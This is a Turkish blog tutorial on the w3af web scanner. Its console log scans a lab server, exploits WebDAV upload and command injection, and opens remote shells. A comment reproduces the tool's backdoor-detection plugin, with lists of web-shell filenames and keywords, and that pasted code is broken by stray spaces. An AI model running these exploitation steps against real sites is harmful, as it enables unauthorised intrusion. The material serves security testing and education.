• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 4626

W3af ile Web Uygulama Güvenlik Testleri

Birkaç tıkla web sayfalarının, veritabanlarının hacklenebildigi, bir komutla kablosuz ag sifrelerin kırıldıgı günleri yasıyoruz. Çok degil birkaç yıl öncesi sadece konusunun uzmanı kisiler tarafından yapılabilecek bu tip islemler artık herkes tarafından otomatize araçlarla yapılabilir hale geldi.


Bu süreçte sistemlerimize etkin koruma saglayabilmek için bir güvenlikçi olarak önümüzde iki yol oldugunu düsünüyorum: biri piyasada olup bitenden habersiz sadece bize tavsiye edilen güvenlik önlemlerini almak, cihazları varsayılan ayarlarla kullanmak digeri ise siyah sapkalıların kullandıgı bu araçları hangi mantıkla çalıstıklarını anlayarak kullanmak ve ona göre önlemler almak. Kendini beyaz konumda görenler hiç süphesiz ikinci sıkkı tercih edeceklerdir. Bilisim güvenligi konusuna bir sekilde uzaktan bile olsa merak salmıs herkesin bildigi bir Live Cd var, adı Backtrack. çinde her konuda yüzlerce güvenlik tarama aracı var. Sadece bu dagıtım ile birlikte gelen araçları kullanarak yaptıgımız testlerde tavsiye edilen ayarlarla kullanılan NIPS(Network Intrusion Prevention System) ve WAF(Web Application Firewall)sistemlerin bazı durumlarda çok bir koruma saglayamadıgını gördük. Bunun temel sebebi bu tip sistemlerin yönetiminin sıradan Firewall yönetimi gibi sadece 1 ve 0 dan olusmadıgı(bir kural vardır ve bu kuralda ilgili ip ve portlara ya izin verilecektir ya da yasaklanacaktır), kullanılan yazılımın ötesinde konsepte hakimiyet gerektirdigidir. Geçen yazıda bu tip otomatize edilmis araçların en yenilerinden birine deginmistim, W3af. W3af, kısaca web uygulamalarına karsı çesitli güvenlik taramalarını gerçeklestirmek için kullanılan araçları bir çatı altında toplayan ve kullanımlarını kolaylastıran açık kaynak kodlu bir yazılım.


Bu yazıda da W3af kullanarak zafiyet içeren web uygulamalarının nasıl kolaylıkla (birkaç tıklama ya da komutlar serisi ile) hacklenebilecegini bir iki örnek ile anlatmaya çalısacagım.

W3af ile işletim Sisteminde Komut Çalıstırma

Dısardan aldıgı parametreleri süzgeçten geçirmeden isletim sistemine aktaran bir web uygulamasına W3af ile yapılan test ve çıktıları:

 

lifeoverip~#./w3af
w3af>>> plugins
w3af/plugins>>> output console,htmlFile
w3af/plugins>>> output
Enabled output plugins:
console
htmlFile
w3af/plugins>>> output config htmlFile
w3af/plugin/textFile>>> set fileName beyazsapka.html
w3af/plugin/textFile>>> back
w3af/plugins>>> output config console
w3af/plugin/console>>> set verbosity 0
w3af/plugin/console>>> back
w3af/plugins>>> audit dav, osCommanding,xss,xsrf
w3af/plugins>>> discovery serverHeader,allowedMethods,pykto
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://egitim-test/w3af/dav/,
http://egitim-test/w3af/osCommanding/vulnerable.php?command=f0as9
w3af/target>>> back
w3af>>> start
Auto-enabling plugin: discovery.allowedMethods
The Server header for this HTTP server is: Apache
The URL: "http://egitim-test/w3af/dav/" has the following DAV methods enabled:
- COPY, DELETE, GET, HEAD, LOCK, MOVE, OPTIONS, POST, PROPFIND,
PROPPATCH,
TRACE, UNLOCK
Found 2 URLs and 2 different points of injection.
The list of URLs is:
- http://egitim-test/w3af/dav/
- http://egitim-test/w3af/osCommanding/vulnerable.php
The list of fuzzable requests is:
- http://egitim-test/w3af/dav/ | Method: GET
- http://egitim-test/w3af/osCommanding/vulnerable.php | Method: GET |
Parameters: (command)
Starting dav plugin execution.
100% [====================================================] 2/2
Directory listing with HTTP PROPFIND method was found at directory:
http://egitim-test/w3af/dav/ The vulnerability was found in the request with
id 11.
File upload with HTTP PUT method was found at directory:
http://egitim-test/w3af/dav/ . Uploaded test file:
http://egitim-test/w3af/dav/FReli The vulnerability was found in the request
with id 9.
Starting osCommanding plugin execution.
100% [====================================================] 2/2
OS Commanding was found at:
http://egitim-test/w3af/osCommanding/vulnerable.php . Using method: GET. The
data sent was: command=+ping+-c+6+egitim-test The vulnerability was found in
the request with id 15.
w3af>>> exploit
w3af/exploit>>> exploit *
Using plugin: davShell
davShell exploit plugin is starting.
Vulnerability successfully exploited.
Using plugin: osCommandingShell
osCommandingShell exploit plugin is starting.
Vulnerability successfully exploited.
remoteFileIncludeShell plugin has to be correctly configured to use.
w3af/exploit>>> interact
This is a list of available shells:
- [0] <davShell object (ruser: "nobody" | rsystem: "Linux bt 2.6.20-BT-PwnSauce-NOSMP
i686 GNU/Linux")>
- [1] <osCommandingShell object (ruser: "nobody" | rsystem: "Linux bt 2.6.20-BTPwnSauce-
NOSMP i686 GNU/Linux")>
w3af/exploit>>> interact 0
Execute "endInteraction" to get out of the remote shell. Commands typed in
this menu will be runned on the remote web server.
w3af/exploit/davShell-0>>> ls
base/ beef/ beyazsapka.html dav/ manual/ phpnuke/ unicornscan/ w3af/
w3af/exploit/davShell-0>>> w
23:24:12 up 16:20, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 07:05 15:03m 0.74s 0.01s /bin/sh /usr/X11R6/bin/startx
root pts/8 192.168.2.2 22:24 59:28 0.02s 0.02s -bash
root pts/9 192.168.2.2 23:16 0.00s 0.05s 0.01s w
w3af/exploit/davShell-0>>> endInteraction

Temel komutları adım adım incelersek karısık gibi görünen konsol kullanımının aslında bu isin temelinde yatan bazı terimlere ve konsepte baglı oldugunu görürüz.

output console,htmlFile : programın ürettigi çıktıların nasıl saklanacagını belirtir. Sonrasında verilen “output config htmlFile” komutu çıktıları kaydedecegimiz html dosyasına ait özellikleri belirmek için kullanılır. Bir sonraki “set fileName beyazsapka.html” komutu ise çıktıların beyazsapka.html adlı dosyaya html formatında islenecegini gösterir.


audit dav, osCommanding,xss,xsrf : audit plugini hedef sistem üzerinde yapılacak ön denetimleri belirlemek için kullanılır. Yani sistemde varolan açıklıkların test edildigi ve varsa açıklık hangi dizin, url altında oldugunu bulmak için kullanıyoruz. Bizim örnegimizde dav, OsCommanding, xss ve xsrf zafiyetlerini sistem üzerinde test ettik.

discovery serverHeader,allowedMethods,pykto : discovery plugini ile hedef seçilen sistem üzerinde kesif seviyesinde arastırmaları yapılır. Bu kesiflere örnek olarak sunucunun üzerinde çalıstıgı platform tipi, web sunucu yazılımının izin verdigi http metodları, ya da web sayfası üzerinden direkt erisimi olmayıp da basit testler sonucu ulasılabilecek dizin/dosyaları verebiliriz.


set target http://egitim-test/w3af/dav/ : set target komutu testleri hangi sistem üzerinde gerçeklestirecegimizi belirtir. Burada yerine göre özel bir url ya da web sayfası verilebilir.

start: audit ve discovery pluginlerini çalıstırmak için kullanılır.


exploit * : Önceki asamalarda bulunan ve exploit edilebilecek zafiyetleri degerlendirmek için kullanılır. Burada * diyerek tüm zafiyetleri degerlendirebiliriz ya da zafiyet numarası belirterek sadece ilgili açıklıgı exploit etmesini saglayabiliriz.


interact : basarı ile exploit edilmis sistemlerde açılan shell numaralarını ögrenerek shell’ler
aracılıgı ile sisteme giris yapmayı saglayan komut. Parametresiz kullanıldıgında
This is a list of available shells:
..
Seklinde bir çıktı verecektir. Buradan istenilen shell numarası seçilerek sistemle shell
üzerinden iletisim kurulabilir.


>>> interact 0 gibi.


Açılmıs bir shell kapatılmak istenirse endInteraction komutu kullanılabilir. Görülecegi üzere komutlar ve parametreleri herhangi bir önbilgi ve ezber gerektirmiyor. Birkaç kere kullanıldıktan sonra asina olunacak tipten. Yine de komut satırı parametreleri karısık geldiyse W3af’nin GUI sini kullanıp aynı islemi birkaç tıklamayla halledebilirsiniz.

W3AF Örnek

W3af ile SQL Injection


Dısardan aldıgı degerleri süzgeçten geçirmeden veritabanına gönderen bir web uygulamasının W3af kullanılarak hacklenmesi:

W3AF SQL Injection

Kaynaklar:

[1] http://lifeoverip.net

[2] http://www.owasp.org

[3] http://w3af.sourceforge.net

Comments

-2 ADAM 21-01-2012 14:37 #1
harıkasın eyüpcum.yalnız ben yenı yazdığım shell kodlarını eklemek ıstıyorum.bunu nasıl yapabılırım.eklemyı w3af ye yapcam.
Quote
-2 Eyüp ÇELİK 21-01-2012 15:27 #2
Alıntılandı ADAM:
harıkasın eyüpcum.yalnız ben yenı yazdığım shell kodlarını eklemek ıstıyorum.bunu nasıl yapabılırım.eklemyı w3af ye yapcam.


Merhaba.

HAzırlamış olduğun shell içeriğini görmeden net bir yorum yapamam. Ancak hazırladığın shell kodlarının taranması için yeni bir plugin hazırlaman gerekiyor. Profile kısmında bulunan plug-in lerden herhangi birine sağ clickleyip Edit Plugin'i seç. Gelen yeni ekranda New menüsünden yeni bir plug-in yazabilirsin. Shell'ler için önceden hazırlanmış olan findBackdoor plug-in'i örnek olarak aşağıdaki gibidir.

'''
findBackdoor.py
import re

import core.controllers.outputManager as om

# options
from core.data.options.option import option
from core.data.options.optionList import optionList
from core.data.bloomfilter.bloomfilter import scalable_bloomfilter

from core.controllers.basePlugin.baseDiscoveryPlugin import baseDiscoveryPlugin
from core.controllers.coreHelpers.fingerprint_404 import is_404
from core.controllers.w3afException import w3afException

import core.data.kb.knowledgeBase as kb
import core.data.kb.vuln as vuln
import core.data.constants.severity as severity

# By aungkhant. Lists are taken from underground shell repositories and
# common sense

WEB_SHELLS = (
# PHP
'php-backdoor.php', 'simple-backdoor.php', 'cmd.php', 'phpshell.php',
'NCC-Shell.php', 'mysql.php', 'mysql_tool.php', 'gfs_sh.php', 'iMHaPFtp.php',
'ironshell.php', 'lamashell.php', 'load_shell.php', 'matamu.php',
'c99_w4cking.php', 'Crystal.php', 'ctt_sh.php', 'cybershell.php', 'Dx.php',
'c99_PSych0.php', 'c99_madnet.php', 'c99_locus7s.php', 'c99.php',
'accept_language.php', 'rootshell.php', 'ru24_post_sh.php', 'zacosmall.php' ,
'pws.php', 'r57.php', 'r57_iFX.php', 'r57_kartal.php', 'r57_Mohajer22.php',
'pHpINJ.php', 'PHPJackal.php', 'PHPRemoteView.php', 'Private-i3lue.php',
'PHANTASMA.php', 'nstview.php', 'nshell.php', 'NetworkFileManagerPHP.php',
'simple_cmd.php', 'Uploader.php', 'php-include-w-shell.php', 'backupsql.php',
'myshell.php', 'c99shell.php',
'c100.php', 'c100shell.php', 'locus7s.php', 'locus.php',
'safe0ver.php','stresbypass.php','ekin0x.php','liz 0zim.php',
'erne.php','spybypass.php','phpbypass.php','sosyet e.php',
'remview.php','zaco.php','nst.php','heykir.php',
'simattacker.php','avent.php','fatal.php','dx.php' ,
'goonshell.php','safemod.php','unreal.php','w4k.ph p',
'winshell.php','mysql2.php','sql.php','jackal.php' ,
'dc.php','w4cking.php','x.php','xx.php','xxx.php',
'w3k.php','h4x.php','h4x0r.php','l33t.php',
'cod3r.php','cod3rzshell.php','cod3rz.php',
'locus.php','locu.php',
'jsback.php','worm.php','simp-worm_sys.p5.php',
'owned.php','0wn3d.php',
# CGI / Perl
'perlcmd.cgi', 'cmd.pl',
'shell.pl','cmd.cgi','shell.cgi',
# JSP
'jsp-reverse.jsp', 'cmdjsp.jsp', 'cmd.jsp', 'cmd_win32.jsp',
'JspWebshell.jsp', 'JspWebshell1.2.jsp',
'shell.jsp',
'jsp-reverse.jspx', 'cmdjsp.jspx', 'cmd.jspx', 'cmd_win32.jspx',
'JspWebshell.jspx', 'JspWebshell1.2.jspx',
'shell.jspx',
'browser.jsp','cmd_win32.jsp',
'CmdServlet','cmdServlet','servlet/CmdServlet','se rvlet/cmdServlet',
'ListServlet','UpServlet',
'up_win32.jsp',
# ASP
'cmd.asp', 'cmdasp.aspx', 'cmdasp.asp', 'cmd-asp-5.1.asp', 'cmd.aspx',
'ntdaddy.asp',
'ntdaddy.aspx','ntdaddy.mspx','cmd.mspx',
'shell.asp','zehir4.asp','rhtools.asp','fso.asp',
'shell.aspx','zehir4.aspx','rhtools.aspx','fso.asp x',
'shell.mspx','zehir4.mspx','rhtools.mspx','fso.msp x',
'kshell.asp','aspydrv.asp','kacak.asp',
'kshell.aspx','aspydrv.aspx','kacak.aspx',
'kshell.mspx','aspydrv.mspx','kacak.mspx',
# Other
'cmd.cfm', 'cfexec.cfm',
'shell.cfm','shell.do','shell.nsf','shell.d2w','sh ell.GPL',
'shell.show','shell.py',
'cmd.do','cmd.nsf','cmd.d2w','cmd.GPL',
'cmd.show','cmd.py',
'cmd.c','exploit.c','0wn3d.c',
'cmd.sh','cmd.js','shell.js',
'list.sh','up.sh','nc.exe','netcat.exe','socat.exe','cmd.pl')

# Mapping object to use in XPath search
BACKDOOR_COLLECTION = {
'input': {'value': ('run', 'send', 'exec', 'execute', 'run cmd',
'execute command', 'run command', 'list', 'connect'),
'name': ('cmd', 'command')},
'form': {'enctype': ('multipart/form-data',)}
}

# List of known offensive words.
KNOWN_OFFENSIVE_WORDS = set(
('access', 'backdoor', 'cmd', 'cmdExe_Click', 'cmd_exec',
'command', 'connect', 'directory', 'directories', 'exec',
'exec_cmd', 'execute', 'eval', 'file', 'file upload', 'hack', 'hacked',
'hacked by', 'hacking', 'htaccess', 'launch command', 'launch shell',
'list', 'listing', 'output', 'passwd', 'password', 'permission',
'remote', 'reverse', 'run', 'runcmd', 'server', 'shell',
'socket', 'system', 'user', 'userfile', 'userid', 'web shell',
'webshell'))


class findBackdoor(baseDiscoveryPlugin):
'''
Find web backdoors and web shells.
@author: Andres Riancho ( )
'''

def __init__(self):
baseDiscoveryPlugin.__init__(self)

# Internal variables
self._analyzed_dirs = scalable_bloomfilter()
self._fuzzable_requests_to_return = []

def discover(self, fuzzableRequest):
'''
For every directory, fetch a list of shell files and analyze the response.

@parameter fuzzableRequest: A fuzzableRequest instance that contains
(among other things) the URL to test.
'''
domain_path = fuzzableRequest.getURL().getDomainPath()
self._fuzzable_requests_to_return = []

if domain_path not in self._analyzed_dirs:
self._analyzed_dirs.add(domain_path)

# Search for the web shells
for web_shell_filename in WEB_SHELLS:
web_shell_url = domain_path.urlJoin(web_shell_filename)
# Perform the check in different threads
targs = (web_shell_url,)
self._tm.startFunction(target=self._check_if_exist s,
args=targs, ownerObj=self)

# Wait for all threads to finish
self._tm.join(self)

return self._fuzzable_requests_to_return


def _check_if_exists(self, web_shell_url):
'''
Check if the file exists.

@parameter web_shell_url: The URL to check
'''
try:
response = self._urlOpener.GET(web_shell_url, useCache=True)
except w3afException:
om.out.debug('Failed to GET webshell:' + web_shell_url)
else:
if self._is_possible_backdoor(response):
v = vuln.vuln()
v.setPluginName(self.getName())
v.setId(response.id)
v.setName('Possible web backdoor')
v.setSeverity(severity.HIGH)
v.setURL(response.getURL())
msg = 'A web backdoor was found at: "%s"; this could ' \
'indicate that the server was hacked.' % v.getURL()
v.setDesc(msg)
kb.kb.append(self, 'backdoors', v)
om.out.vulnerability(v.getDesc(), severity=v.getSeverity())

fuzzable_requests = self._createFuzzableRequests(response)
self._fuzzable_requests_to_return += fuzzable_requests

def _is_possible_backdoor(self, response):
'''
Heuristic to infer if the content of has the pattern of a
backdoor response.

@param response: httpResponse object
@return: A bool value
'''
if not is_404(response):
body_text = response.getBody()
dom = response.getDOM()
if dom:
for ele, attrs in BACKDOOR_COLLECTION.iteritems():
for attrname, attr_vals in attrs.iteritems():
# Set of lowered attribute values
dom_attr_vals = \
set(n.get(attrname).lower() for n in \
(dom.xpath('//%s[@%s]' % (ele, attrname))))
# If at least one elem in intersection return True
if (dom_attr_vals and set(attr_vals)):
return True

# If no regex matched then try with keywords. At least 2 should be
# contained in 'body_text' to succeed.
times = 0
for back_kw in KNOWN_OFFENSIVE_WORDS:
if re.search(back_kw, body_text, re.I):
times += 1
if times == 2:
return True
return False

def getOptions(self):
'''
@return: A list of option objects for this plugin.
'''
ol = optionList()
return ol

def setOptions(self, OptionList):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptions().

@parameter OptionList: A dictionary with the options for the plugin.
@return: No value is returned.
'''
pass

def getPluginDeps(self):
'''
@return: A list with the names of the plugins that should be runned before the
current one.
'''
return []

def getLongDesc(self):
'''
@return: A DETAILED description of the plugin functions and features.
'''
return '''
This plugin searches for web shells in the directories that are sent as input.
For example, if the input is:
- http://host.tld/w3af/f00b4r.php

The plugin will perform these requests:
- http://host.tld/w3af/c99.php
- http://host.tld/w3af/cmd.php
- http://host.tld/w3af/webshell.php
...
'''
Quote

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top